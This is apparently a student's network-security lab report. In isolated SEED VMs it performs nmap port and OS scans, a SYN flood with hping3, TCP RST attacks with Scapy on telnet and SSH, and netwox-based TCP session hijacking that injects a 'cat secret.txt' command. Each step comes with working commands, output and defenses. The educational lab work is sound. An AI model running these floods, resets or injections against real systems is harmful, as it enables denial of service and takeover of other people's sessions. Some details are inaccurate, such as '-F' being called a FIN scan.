

Homework 4

Task 1: Surveillance Techniques

Port Scanning

Design: In this task I use the Kali VM that has nmap pre-installed to perform 5 different network surveillance techniques on the other VM such as: TCP connect scan, SYN stealth scan, FIN scan, Ping scan, UDP scan.

Observation: The command and result for each technique is as below:

TCP connect scan: The TCP open ports were listed with different services.

```
root@kali:/home/seed# nmap -sT 172.31.32.6
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-22 23:24 UTC
Nmap scan report for ip-172-31-32-6.us-east-2.compute.internal (172.31.32.6)
Host is up (0.0012s latency).
Not shown: 993 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
53/tcp    open  domain
80/tcp    open  http
3128/tcp  open  squid-http
3389/tcp  open  ms-wbt-server
MAC Address: 0A:4D:C6:78:BE:6E (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.15 seconds
```

SYN stealth scan: The TCP open ports were listed with different services. Result is similar to TCP connect scan but running time is much faster.

```
root@kali:/home/seed# nmap -sS 172.31.32.6
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-22 23:25 UTC
Nmap scan report for ip-172-31-32-6.us-east-2.compute.internal (172.31.32.6)
Host is up (0.00073s latency).
Not shown: 993 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
53/tcp    open  domain
80/tcp    open  http
3128/tcp  open  squid-http
3389/tcp  open  ms-wbt-server
MAC Address: 0A:4D:C6:78:BE:6E (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.21 seconds
```

FIN scan: The result is similar to TCP connect scan and almost as fast as SYN stealth scan

```
root@kali:/home/seed# nmap -F 172.31.32.6
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-22 23:28 UTC
Nmap scan report for ip-172-31-32-6.us-east-2.compute.internal (172.31.32.6)
Host is up (0.00078s latency).
Not shown: 93 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
53/tcp    open  domain
80/tcp    open  http
3128/tcp  open  squid-http
3389/tcp  open  ms-wbt-server
MAC Address: 0A:4D:C6:78:BE:6E (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds
```

UDP scan: This scan takes the most time to finish. To shorten the running time, I used the `--top-ports 10` flag to scan the top 10 open ports only.

```
root@kali:/home/seed# nmap -sU --top-ports 10 172.31.32.6
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-22 23:26 UTC
Nmap scan report for ip-172-31-32-6.us-east-2.compute.internal (172.31.32.6)
Host is up (0.00014s latency).

PORT      STATE      SERVICE
53/udp    open|filtered domain
67/udp    open|filtered dhcp
123/udp   open|filtered ntp
135/udp   open|filtered msrpc
137/udp   open|filtered netbios-ns
138/udp   open|filtered netbios-dgm
161/udp   open|filtered snmp
445/udp   open|filtered microsoft-ds
631/udp   open|filtered ipp
1434/udp  open|filtered ms-sql-m
MAC Address: 0A:4D:C6:78:BE:6E (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.39 seconds
```

Ping scan: This technique doesn't scan for any ports, instead, it prints out the discovered host

```
root@kali:/home/seed# nmap -sn 172.31.32.6
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-22 23:29 UTC
Nmap scan report for ip-172-31-32-6.us-east-2.compute.internal (172.31.32.6)
Host is up (0.00013s latency).
MAC Address: 0A:4D:C6:78:BE:6E (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.10 seconds
```

Defense: Ports scanning can defend using intrusion detection systems or firewalls. There are different ways to protect the ports from being scanned for each technique, such as monitoring number of ports connected to from a single origin over a period of time. Configuring the firewall properly can prevent most of the port scans. UDP scan and Ping scan can be prevented by blocking ICMP outbound. SYN Stealth scan can be prevented by blocking SYN packets.

Fingerprinting Operating Systems:

Design: I use nmap command below to run OS Fingerprinting:

```
nmap -O -v 172.31.32.6
```

Observation: It shows the victim's OS is a cloud Linux OS. It also shows the ports, state and the associated services. A lot of information was exposed.

```
root@kali:/home/seed# nmap -O -v 172.31.32.6
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-22 23:40 UTC
Initiating ARP Ping Scan at 23:40
Scanning 172.31.32.6 [1 port]
Completed ARP Ping Scan at 23:40, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 23:40
Completed Parallel DNS resolution of 1 host. at 23:40, 0.00s elapsed
Initiating SYN Stealth Scan at 23:40
Scanning ip-172-31-32-6.us-east-2.compute.internal (172.31.32.6) [1000 ports]
Discovered open port 23/tcp on 172.31.32.6
Discovered open port 22/tcp on 172.31.32.6
Discovered open port 80/tcp on 172.31.32.6
Discovered open port 21/tcp on 172.31.32.6
Discovered open port 3389/tcp on 172.31.32.6
Discovered open port 53/tcp on 172.31.32.6
Discovered open port 3128/tcp on 172.31.32.6
Completed SYN Stealth Scan at 23:40, 0.06s elapsed (1000 total ports)
Initiating OS detection (try #1) against ip-172-31-32-6.us-east-2.compute.internal (172.31.32.6)
Nmap scan report for ip-172-31-32-6.us-east-2.compute.internal (172.31.32.6)
Host is up (0.00041s latency).
Not shown: 993 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
53/tcp    open  domain
80/tcp    open  http
3128/tcp  open  squid-http
3389/tcp  open  ms-wbt-server
MAC Address: 0A:4D:C6:78:BE:6E (Unknown)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.10 - 3.13
Uptime guess: 0.116 days (since Fri Mar 22 20:53:32 2019)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros

Read data files from: /usr/bin/../share/nmap
OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.78 seconds
```

Defense: OS fingerprinting can be prevented by apply the concept of least privilege. In other words, only give privilege to necessary traffic.

Task 2: SYN Flooding Attack

Design: In this task, I setup 3 VMs : client, server, and attacker. In the attacking VM, I used hping3 to flood the server. But firstly, I had to disable firewall rules on attacking VM and TCP SYN cookies on the server VM as shown below:



```
root@VM: /home/seed 80x24
root@VM:/home/seed# sysctl -a | grep cookie
net.ipv4.tcp_syncookies = 1
sysctl: reading key "net.ipv6.conf.all.stable_secret"
sysctl: reading key "net.ipv6.conf.default.stable_secret"
sysctl: reading key "net.ipv6.conf.eth0.stable_secret"
sysctl: reading key "net.ipv6.conf.lo.stable_secret"
root@VM:/home/seed# sysctl -w net.ipv4.tcp_syncookies=0
net.ipv4.tcp_syncookies = 0
```

Turn of SYN cookies

```
terminal - root@ terminal - root@kali: /home/seed/Desktop/scapy
File Edit View Terminal Tabs Help
root@kali:~# iptables -A OUTPUT -p tcp -s 172.31.32.9 --tcp-flags RST RST -j DROP
root@kali:~# sudo hping3 -c 99999 -d 10 -S -w 64 -p 23 --flood 172.31.32.6
HPING 172.31.32.6 (eth0 172.31.32.6): S set, 40 headers + 10 data bytes
hping in flood mode, no replies will be shown
```


Disable firewall rules and run hping3 tool

Observation: Before the attack, I was able to telnet to server VM from client VM just fine. However, after the attack, the client could no longer connect to the server. By using the command “netstat -na | grep :23”, I observed that the server was receiving a large amount of SYN packages that led to SYN flood.



```
ec2-18-188-75-118 - ec2-18-222-57-78.us-east-2.compute.amazonaws.com - Remote Desktop Connection
172.31.32.6 - Remote Desktop Connection
Applications root@VM: /home/seed
root@VM: /home/seed
root@VM: /home/seed 80x24
root@VM:/home/seed# netstat -na | grep :23
tcp        0      0 172.31.32.6:23        172.31.32.9:2551      SYN_RECV
tcp        0      0 172.31.32.6:23        172.31.32.9:2554      SYN_RECV
tcp        0      0 172.31.32.6:23        172.31.32.9:2573      SYN_RECV
tcp        0      0 172.31.32.6:23        172.31.32.9:2564      SYN_RECV
tcp        0      0 172.31.32.6:23        172.31.32.9:2555      SYN_RECV
tcp        0      0 172.31.32.6:23        172.31.32.9:2592      SYN_RECV
tcp        0      0 172.31.32.6:23        172.31.32.9:2579      SYN_RECV
tcp        0      0 172.31.32.6:23        172.31.32.9:2613      SYN_RECV
tcp        0      0 172.31.32.6:23        172.31.32.9:2606      SYN_RECV
tcp        0      0 172.31.32.6:23        172.31.32.9:2601      SYN_RECV
tcp        0      0 172.31.32.6:23        172.31.32.9:2584      SYN_RECV
tcp        0      0 172.31.32.6:23        172.31.32.9:2588      SYN_RECV
tcp        0      0 172.31.32.6:23        172.31.32.9:2578      SYN_RECV
tcp        0      0 172.31.32.6:23        172.31.32.9:4971      SYN_RECV
tcp        0      0 172.31.32.6:23        172.31.32.9:4992      SYN_RECV
tcp        0      0 172.31.32.6:23        172.31.32.9:4996      SYN_RECV
tcp        0      0 172.31.32.6:23        172.31.32.9:5000      SYN_RECV
tcp        0      0 172.31.32.6:23        172.31.32.9:4974      SYN_RECV
tcp        0      0 172.31.32.6:23        172.31.32.9:4994      SYN_RECV
tcp        0      0 172.31.32.6:23        172.31.32.9:2590      SYN_RECV
tcp        0      0 172.31.32.6:23        172.31.32.9:2553      SYN_RECV
tcp        0      0 172.31.32.6:23        172.31.32.9:4975      SYN_RECV
tcp        0      0 172.31.32.6:23        172.31.32.9:2566      SYN_RECV
root@VM:/home/seed#
172.31.32.9 - Remote Desktop Connection
Applications [scapy - File Manager] [Terminal - root@kali: /h... [Terminal - root@kali: ~]
Terminal - root@kali: /home/seed/Desktop/scapy
File Edit View Terminal Tabs Help
root@kali:~# iptables -A OUTPUT -p tcp -s 172.31.32.9 --tcp-flags RST RST -j DROP
root@kali:~# sudo hping3 -c 99999 -d 10 -S -w 64 -p 23 --flood 172.31.32.6
HPING 172.31.32.6 (eth0 172.31.32.6): S set, 40 headers + 10 data bytes
hping in flood mode, no replies will be shown
```

Server is flooded with SYN packages



The image shows two overlapping remote desktop windows. The top window, titled '172.31.16.16 - Remote Desktop Connection', shows a terminal session on a VM named 'seed'. The terminal output includes: 'Connected to 172.31.32.6.', 'Escape character is '^'.', 'Ubuntu 16.04.2 LTS', 'VM login: seed', 'Password:', 'Last login: Fri Mar 22 23:49:27 EDT 2019 from ip-172-31-32-9.us-east-2.compute.internal on pts/13', 'Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.8.0-36-generic i686)', and links for documentation, management, and support. It also shows '2 packages can be updated.' and '0 updates are security updates.' The user enters 'exit' and the connection is closed by the foreign host. The bottom window, titled '172.31.32.9 - Remote Desktop Connection', shows a terminal session on a Kali machine. The user runs 'iptables -A OUTPUT -p tcp -s 172.31.32.9 --tcp-flags RST RST -j DROP' and then 'sudo hping3 -c 99999 -d 10 -S -w 64 -p 23 --flood 172.31.32.6'. The output shows 'HPING 172.31.32.6 (eth0 172.31.32.6): S set, 40 headers + 10 data bytes' and 'hping in flood mode, no replies will be shown'.

```
root@VM: /home/seed
Connected to 172.31.32.6.
Escape character is '^'.
Ubuntu 16.04.2 LTS
VM login: seed
Password:
Last login: Fri Mar 22 23:49:27 EDT 2019 from ip-172-31-32-9.us-east-2.compute.i
nternal on pts/13
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.8.0-36-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

2 packages can be updated.
0 updates are security updates.

[03/23/19]seed@VM:~$
Evaluation-SEED$ exit
logout
Connection closed by foreign host.
root@VM: /home/seed# telnet 172.31.32.6 23
Trying 172.31.32.6...
telnet: Unable to connect to remote host: Connection timed out
root@VM: /home/seed#
```

```
root@kali: ~
File Edit View Terminal Tabs Help
root@kali:~# iptables -A OUTPUT -p tcp -s 172.31.32.9 --tcp-flags RST RST -j DROP
root@kali:~# sudo hping3 -c 99999 -d 10 -S -w 64 -p 23 --flood 172.31.32.6
HPING 172.31.32.6 (eth0 172.31.32.6): S set, 40 headers + 10 data bytes
hping in flood mode, no replies will be shown
```

Client couldn't connect to server after the attack


Explanation: As expected, the flood attack filled the SYN queue of the server and it could no longer receive any requests. The client could not connect to the server. It also slowed down the server a lot since there are too many requests at the same time. Turning off the SYN cookies discards SYN entries upon sending SYN-ACK when SYN queue is full. Therefore, the server could not release the SYN packages to empty the queue.

Defense: The best approach to prevent this attack is enabling SYN cookies. SYN cookies are calculated through a complicated process. The SYN cookies help validate the ACK package by checking the sequence number inside the package is valid or not. Another way is applying TCP Accept Policies. An outbound accept policy implements a firewall when trying to establish TCP connections with untrusted destinations. Large amount of unanswered SYN-ACKs can be detected and blocked. Another mechanism is the inbound accept policy. In this setup, an untrusted host must first complete the TCP handshake (SYN, SYN-ACK, ACK) with a firewall. The firewall then performs the TCP handshake with the protected server. A SYN flood would never reach the server as the firewall handles the attack instead of the server.

Task 3: TCP RST Attacks on telnet and ssh Connections

Design: In this task, I setup telnet connection between client and server. After that I used another VM to interrupt and terminate the telnet connection. I repeated the same thing with SSH connection between the client and the server. I used the Scapy to send the TCP RST packet.

Attack on Telnet:



Getting port, Ack and Seq numbers from Wireshark


```
Terminal - root@kali: ~
File Edit View Terminal Tabs Help

p//Ac          sC//a
P////YCpc      A//A
scccccp//pSP//p  p//Y
sY////////y    caa  S//P
cayCyayP//Ya    pY/Ya
sY/PsY////YCc  aC//Yp
sc  sccaCY//PCypaapyCP//YSs
      spCPY////////YPSps
      ccaacs

Craft me if you can.
-- IPv6 layer

using IPython 5.8.0

>>> i = IP()
>>> t = TCP()
>>> i.dst = "172.31.32.6"
>>> i.src = "172.31.16.16"
>>> t.sport = 53384
>>> t.dport = 23
>>> t.flags = "RA"
>>> t.ack = 3526844805
>>> t.seq = 4231262468
>>> t.window = 0
>>> send(i/t)
.
Sent 1 packets.
>>>
```

Construct and send TCP RST package using Scapy with values from Wireshark

```
root@VM: /home/seed
root@VM: /home/seed 77x24

Escape character is '^]'.
Ubuntu 16.04.2 LTS
VM login: seed
Password:
Last login: Sat Mar 23 05:31:21 EDT 2019 from ip-172-31-16-16.us-east-2.compu
te.internal on pts/9
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.8.0-36-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

2 packages can be updated.
0 updates are security updates.

[03/23/19]seed@VM:~$
Evaluation-SEED$ ls
android      Documents   Music       source
bin          Downloads  Pictures    Templates
Customization  examples.desktop  Public      thinclient_drives
Desktop      lib        pwndbg     Videos
[03/23/19]seed@VM:~$
Evaluation-SEED$ Connection closed by foreign host.
root@VM: /home/seed#
```

RST package terminates the Telnet connection

Attack on SSH:

Wireshark packet capture showing an SSH attack. The interface is *eth0. The filter is (ip.src==172.31.16.16 && ip.dst== 172.31.32.6) || (ip.src == 172.31.32.6 && ip.dst ==172.31.16.16). The packet list shows a sequence of SSH and TCP packets. Packet 157 is selected, showing details of a TCP ACK from 172.31.16.16 to 172.31.32.6. The packet bytes pane shows the raw data in hexadecimal and ASCII.

No.	Time	Source	Destination	Protocol	Length	Info
144...	2019-03-2...	172.31.16.16	172.31.32.6	SSH	110	Client: Encrypted pack...
144...	2019-03-2...	172.31.32.6	172.31.16.16	SSH	110	Server: Encrypted pack...
144...	2019-03-2...	172.31.16.16	172.31.32.6	TCP	66	56670 → 22 [ACK] Seq=1...
157...	2019-03-2...	172.31.16.16	172.31.32.6	SSH	102	Client: Encrypted pack...
157...	2019-03-2...	172.31.32.6	172.31.16.16	SSH	102	Server: Encrypted pack...
157...	2019-03-2...	172.31.16.16	172.31.32.6	TCP	66	56670 → 22 [ACK] Seq=1...
157...	2019-03-2...	172.31.32.6	172.31.16.16	SSH	502	Server: Encrypted pack...
157...	2019-03-2...	172.31.16.16	172.31.32.6	TCP	66	56670 → 22 [ACK] Seq=1...
157...	2019-03-2...	172.31.32.6	172.31.16.16	SSH	158	Server: Encrypted pack...
157...	2019-03-2...	172.31.16.16	172.31.32.6	TCP	66	56670 → 22 [ACK] Seq=1...
345...	2019-03-2...	172.31.16.16	172.31.32.6	SSH	110	Client: Encrypted pack...
345...	2019-03-2...	172.31.32.6	172.31.16.16	TCP	54	22 → 56670 [RST] Seq=3...

bytes on wire (528 bits), 66 bytes captured (528 bits) on interface 0
: 0a:2a:44:85:e9:b0 (0a:2a:44:85:e9:b0), Dst: 0a:06:af:44:e4:00 (0a:06:af:44:e4:00)
l Version 4, Src: 172.31.16.16, Dst: 172.31.32.6
trol Protocol, Src Port: 56670 (56670), Dst Port: 22 (22), Seq: 1865977126, Ack: 3250258324, Len: 66

0000 0a 06 af 44 e4 00 0a 2a 44 85 e9 b0 08 00 45 10 ...D...* D....E.
0010 00 34 1f 9c 40 00 40 06 92 c3 ac 1f 10 10 ac 1f .4..@.@.
0020 20 06 dd 5e 00 16 f 38 8d 26 c1 bb 01 94 80 10 ..^..o8 .&.....
0030 01 1f 88 7b 00 00 01 01 08 0a 00 2c c5 8e 00 10 ...{.... ,....
0040 e8 0e ..

Getting port, Ack and Seq numbers from Wireshark


```
Terminal - root@kali: ~
File Edit View Terminal Tabs Help

p///Ac          sC///a
P///YCpc        A//A
scccccp///pSP///p  p//Y
sY/////////y caa   S//P
cayCyayP//Ya      pY/Ya
sY/PSY///YCc      aC//Yp
sc sccaCY//PCypaapyCP//YSs
spCPY/////////YPSps
ccaacs

We are in France, we say Skappee.
OK? Merci.
-- Sebastien Chabal

using IPython 5.8.0
>>> i = IP()
>>> t = TCP()
>>> i.dst = "172.31.32.6"
>>> i.src = "172.31.16.16"
>>> t.sport = 56670
>>> t.dport = 22
>>> t.flags = "RA"
>>> t.ack = 3250258324
>>> t.seq = 1865977126
>>> t.window = 0
>>> send(i/t)

Sent 1 packets.
>>>
```

Construct and send RST package using Scapy with values from Wireshark

```
root@VM: /home/seed
root@VM: /home/seed 77x24
root@VM:/home/seed# ssh seed@172.31.32.6
seed@172.31.32.6's password:
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.8.0-36-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

2 packages can be updated.
0 updates are security updates.

Last login: Sat Mar 23 04:44:13 2019 from 172.31.16.16
[03/23/19]seed@VM:~$
Evaluation-SEED$ ls
android      Documents    Music        source
bin          Downloads   Pictures     Templates
Customization examples.desktop Public        thinclient_drives
Desktop      lib         pwndbg      Videos
[03/23/19]seed@VM:~$
Evaluation-SEED$ packet_write_wait: Connection to 172.31.32.6 port 22: Broken
pipe
root@VM:/home/seed#
```

RST package terminates the SSH connection

Explanation: A RST packet can pre-emptively close a connection. By faking a package with Sequence and Acknowledge numbers obtained from Wireshark, the server will mistakenly receive that RST package from the attacker and close the connection with the RST flag.

Defense: To defend against this attack, authentication should be expanded beyond login session. Each IP packet should be authenticated each communication session. Another way to prevent this attack is using cryptographic keys and two-way authentication.

Task 4: TCP Session Hijacking

Design: In this task, I used netwox 40 tool to create and inject a fake package that contains an execution hex code in the victim's VM (host). The netwox 40 command requires the parameters listed below:

--ip4-src	Source IP address
--ip4-dst	Destination IP address
--tcp-src	Source TCP port
--tcp-dst	Destination TCP port
--tcp-seqnum	TCP Sequence number
--tcp-acknum	TCP Acknowledge number
--tcp-window	TCP window size
--tcp-data	Contains data sent over the network
--ip4-ttl	Lifespan of data
-Z	No TCP Ack

The values for the parameters above such as --ip4-src, --ip4-dst, --tcp-src, --tcp-dst, --tcp-seqnum, --tcp-acknum, --tcp-window can be obtained from the Wireshark on victim's network. The data sent was an execution hex code converted from the string "cat secret.txt". The file was saved under /home/seed/ in victim's VM and would output "My name is Khanh Nguyen and this is task 4 HW4 CSCE465" when the hex code is executed.

The image shows a Wireshark packet capture window titled '*eth0'. The filter bar contains the expression: `l.16.16 && ip.dst== 172.31.32.6 || (ip.src == 172.31.32.6 && ip.dst ==172.31.16.16)`. The packet list shows five packets, with packet 110 selected. The packet details pane shows the following information:

- Frame 11048: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface
- Ethernet II, Src: 0a:2a:44:85:e9:b0 (0a:2a:44:85:e9:b0), Dst: 0a:06:af:44:e4:0
- Internet Protocol Version 4, Src: 172.31.16.16, Dst: 172.31.32.6
- Transmission Control Protocol, Src Port: 38774 (38774), Dst Port: 23 (23), Seq: 552689315, Len: 66
- Source Port: 38774
- Destination Port: 23
- [Stream index: 1]
- [TCP Segment Len: 0]
- Sequence number: 552689315
- Acknowledgment number: 2180796963
- Header Length: 32 bytes
- Flags: 0x010 (ACK)
- Window size value: 219
- [Calculated window size: 219]
- [Window size scaling factor: -1 (unknown)]

The packet bytes pane shows the raw data in hexadecimal and ASCII. The ASCII column contains the following text:

```
...D...* D....E.  
.4..@.@. .?.....  
.v... ^...R#..  
...{.... ..v.[  
..
```

The status bar at the bottom indicates: Transmission Control Protocol (tcp), 32 bytes | Packets: 124516 · Displayed: 5 (0.0%) | Profile: Default

Obtain values for netwox 40 parameters in Wireshark


```
root@VM: ~  
root@VM: ~ 80x34  
usage: sudo -e [-AknS] [-r role] [-t type] [-C num] [-g group] [-h host] [-p  
prompt] [-u user] file ...  
[03/23/19]seed@VM:~$  
Workstation-SEED$ sudo -i  
[sudo] password for seed:  
root@VM:~# netwox 40 --ip4-src 172.31.16.16 --ip4-dst 172.31.32.6 --tcp-src 3877  
4 --tcp-dst 23 --tcp-seqnum 552689315 --tcp-acknum 2180796963 --tcp-window 2000  
--tcp-data "0a636174207365637265742e7478740a" --ip4-ttl 64 -z  
IP  
|-----|  
| version | ihl | tos | totlen |  
| 4 | 5 | 0x00=0 | 0x0038=56 | |
|---|---|---|---|---|
| id | r | D | M | offsetfrag |  
| 0xF17C=61820 | 0 | 0 | 0 | 0x0000=0 |  
|-----|  
| ttl | protocol | checksum |  
| 0x40=64 | 0x06=6 | 0x00EF |  
|-----|  
| source |  
| 172.31.16.16 |  
| destination |  
| 172.31.32.6 |  
|-----|  
TCP  
|-----|  
| source port | destination port |  
| 0x9776=38774 | 0x0017=23 |  
|-----|  
| seqnum |  
| 0x20F15EA3=552689315 |  
| acknum |  
| 0x81FC5223=2180796963 |  
|-----|  
| doff | r | r | r | r | C | E | U | A | P | R | S | F | window |  
| 5 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0x07D0=2000 |  
|-----|  
| checksum | urgptr |  
| 0x7399=29593 | 0x0000=0 |  
|-----|  
0a 63 61 74 20 73 65 63 72 65 74 2e 74 78 74 0a # .cat secret.txt.  
root@VM:~#
```

Hijacking package built and injected into network

The screenshot shows a Wireshark packet capture window titled '*eth0'. The filter bar contains the expression 'l.16.16 && ip.dst== 172.31.32.6 || (ip.src == 172.31.32.6 && ip.dst ==172.31.16.16)'. The packet list shows several packets, with packet 144 selected. The packet details pane shows the Telnet session data, including the command 'cat secret.txt' and the response 'My name is Khanh Nguyen and this is task 4 HW4 CSCE465'. The packet bytes pane shows the raw data in hexadecimal and ASCII.

No.	Time	Source	Destination	Protocol	Length	Info
110...	2019-03-2...	172.31.32.6	172.31.16.16	TELNET	68	Telnet D
110...	2019-03-2...	172.31.16.16	172.31.32.6	TCP	66	38774 →
110...	2019-03-2...	172.31.32.6	172.31.16.16	TELNET	118	Telnet D
110...	2019-03-2...	172.31.16.16	172.31.32.6	TCP	66	38774 →
143...	2019-03-2...	172.31.16.16	172.31.32.6	TELNET	70	Telnet D
143...	2019-03-2...	172.31.32.6	172.31.16.16	TELNET	68	Telnet D
144...	2019-03-2...	172.31.32.6	172.31.16.16	TELNET	242	Telnet D
144...	2019-03-2...	172.31.32.6	172.31.16.16	TCP	244	[TCP Ret
144...	2019-03-2...	172.31.32.6	172.31.16.16	TCP	244	[TCP Ret
145...	2019-03-2...	172.31.32.6	172.31.16.16	TCP	244	[TCP Ret
145...	2019-03-2...	172.31.32.6	172.31.16.16	TCP	244	[TCP Ret

Packet 144 details:

- [Calculated window size: 210]
- [Window size scaling factor: -1 (unknown)]
- Checksum: 0x604a [validation disabled]
- Urgent pointer: 0
- Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps
- [SEQ/ACK analysis]
- Telnet
 - Data: [03/23/19]seed@VM:~\$ \r
 - Data: \r \n
 - Data: \033[1;31mEvaluation-SEED\033[m\$\$ cat secret.txt \r \n
 - Data: My name is Khanh Nguyen and this is task 4 HW4 CSCE465 \r \n
 - Data: [03/23/19]seed@VM:~\$ \r
 - Data: \r \n
 - Data: \033[1;31mEvaluation-SEED\033[m\$\$

Packet 144 bytes:

```

0050  40 56 4d 3a 7e 24 0d 00 0d 0a 1b 5b 31 3b 33 31  @VM:~$. . . [1;31
0060  6d 45 76 61 6c 75 61 74 69 6f 6e 2d 53 45 45 44  mEvaluat ion-SEED
0070  1b 5b 6d 24 24 20 63 61 74 20 73 65 63 72 65 74  .[m$$ ca t secret
0080  2e 74 78 74 0d 0a 4d 79 20 6e 61 6d 65 20 69 73  .txt..My name is
0090  20 4b 68 61 6e 68 20 4e 67 75 79 65 6e 20 61 6e  Khanh N guyen an
00a0  64 20 74 68 69 73 20 69 73 20 74 61 73 6b 20 34  d this i s task 4
00b0  20 48 57 34 20 43 53 43 45 34 36 35 0d 0a 5b 30  HW4 CSC E465..[0
00c0  33 2f 32 33 2f 31 39 5d 73 65 65 64 40 56 4d 3a  3/23/19] seed@VM:
00d0  7e 24 0d 00 0d 0a 1b 5b 31 3b 33 31 6d 45 76 61  ~$. . . . [ 1;31mEva
00e0  6c 75 61 74 69 6f 6e 2d 53 45 45 44 1b 5b 6d 24  luation- SEED.[m$
  
```

The hex was executed and output the content on telnet captured by Wireshark


Observation: The attack was successful as expected, the victim's machine received the spoofed package the execute the hex code injected. There were many retransmissions since the spoofed package messed up the sequence number from user to server. Also, the user lost the control of telnet session. After a while, telnet just disconnected.

Explanation: When the server replies to the spoofed package, it takes sequence number created by the attacker. The package from user has not reached that number yet so it just discards the relies from server. Server thinks its package is lost so it keeps retransmitting the package. In other words, the server and user keep sending data to each other but they lost their trackings so they can't receive any. In the end, it will result in disconnection since the transmissions slow down the connection.

Defense: SSL and TLS can prevent the attackers from getting the information needed to create the spoofed TCP packages. Encryption layouts are used to protect the transfer of data and information. Also, Initial Sequence Number technique will also help since the sequence number for each TCP session is completely random and cannot be guessed.

Investigation:

- **Initial Sequence Number(ISN)** are completely random and unpredictable since it is generated through a complicated process: after a server has received a SYN packet, it calculates a keyed hash from the information in the packet, including the IP addresses, port number, and sequence number, using a secret key that is only known to the server. This hash will be used as initial sequence number to start the transmissions between client and server.
- **TCP Window:**



This window size is used to specify the rate at which data can be transferred between client and server. Its size depends on the receiver's buffer. The purpose of window size is to stable the data flow and prevent data dropping. If the data is being send too fast or too much from the client more than what server's buffer can hold or vice versa, it can help slow down data transmission.

- **Source Port Number:** Initially, the source port is random and really hard to predict. However, subsequent source ports are typically an increment of 1 or 2 of each other. It can give the attacker some clues to guess the exact number.